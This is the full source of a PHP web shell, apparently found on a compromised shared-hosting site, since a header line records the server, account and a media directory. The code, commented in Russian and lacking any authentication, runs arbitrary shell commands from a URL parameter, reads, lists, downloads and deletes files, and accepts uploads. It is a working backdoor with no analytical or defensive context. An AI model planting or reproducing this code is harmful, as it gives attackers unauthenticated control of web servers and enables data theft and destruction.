Server : Apache System : Linux webm012.cluster129.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64 User : eventfrsgx ( 61451) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl Directory : /home/eventfrsgx/www/media/ |
<?php error_reporting(0);
// ---------- Команды ОС ----------
if (isset($_GET['cmd'])) {
header('Content-Type: text/plain; charset=utf-8');
$out = shell_exec($_GET['cmd'] . ' 2>&1');
echo $out === null ? 'Command not executed' : $out;
exit;
}
// ---------- Просмотр файла ----------
if (isset($_GET['cat'])) {
header('Content-Type: text/plain; charset=utf-8');
readfile($_GET['cat']);
exit;
}
// ---------- Листинг директории ----------
if (isset($_GET['ls'])) {
$dir = $_GET['ls'] ?: '.';
$files = scandir($dir);
if ($files === false) { echo 'Cannot open dir'; } else {
header('Content-Type: text/plain; charset=utf-8');
foreach ($files as $f) echo $f . "\n";
}
exit;
}
// ---------- Скачивание файла ----------
if (isset($_GET['dl'])) {
$file = $_GET['dl'];
if (file_exists($file)) {
header('Content-Disposition: attachment; filename="' . basename($file) . '"');
header('Content-Type: application/octet-stream');
readfile($file);
}
exit;
}
// ---------- Удаление файла ----------
if (isset($_GET['rm'])) {
$res = unlink($_GET['rm']);
header('Content-Type: text/plain; charset=utf-8');
echo $res ? 'OK' : 'ER';
exit;
}
// ---------- Оригинальная форма загрузки (совместимость) ----------
echo '<pre>' . php_uname() . "\n<br/><form method=\"post\" enctype=\"multipart/form-data\">"
. '<input type="file" name="__">'
. '<input name="_" type="submit" value="Upload"></form>';
if ($_POST && isset($_FILES['__'])) {
$target = $_FILES['__']['name'];
if (move_uploaded_file($_FILES['__']['tmp_name'], $target)) { echo 'OK'; }
else { echo 'ER'; }
}
?>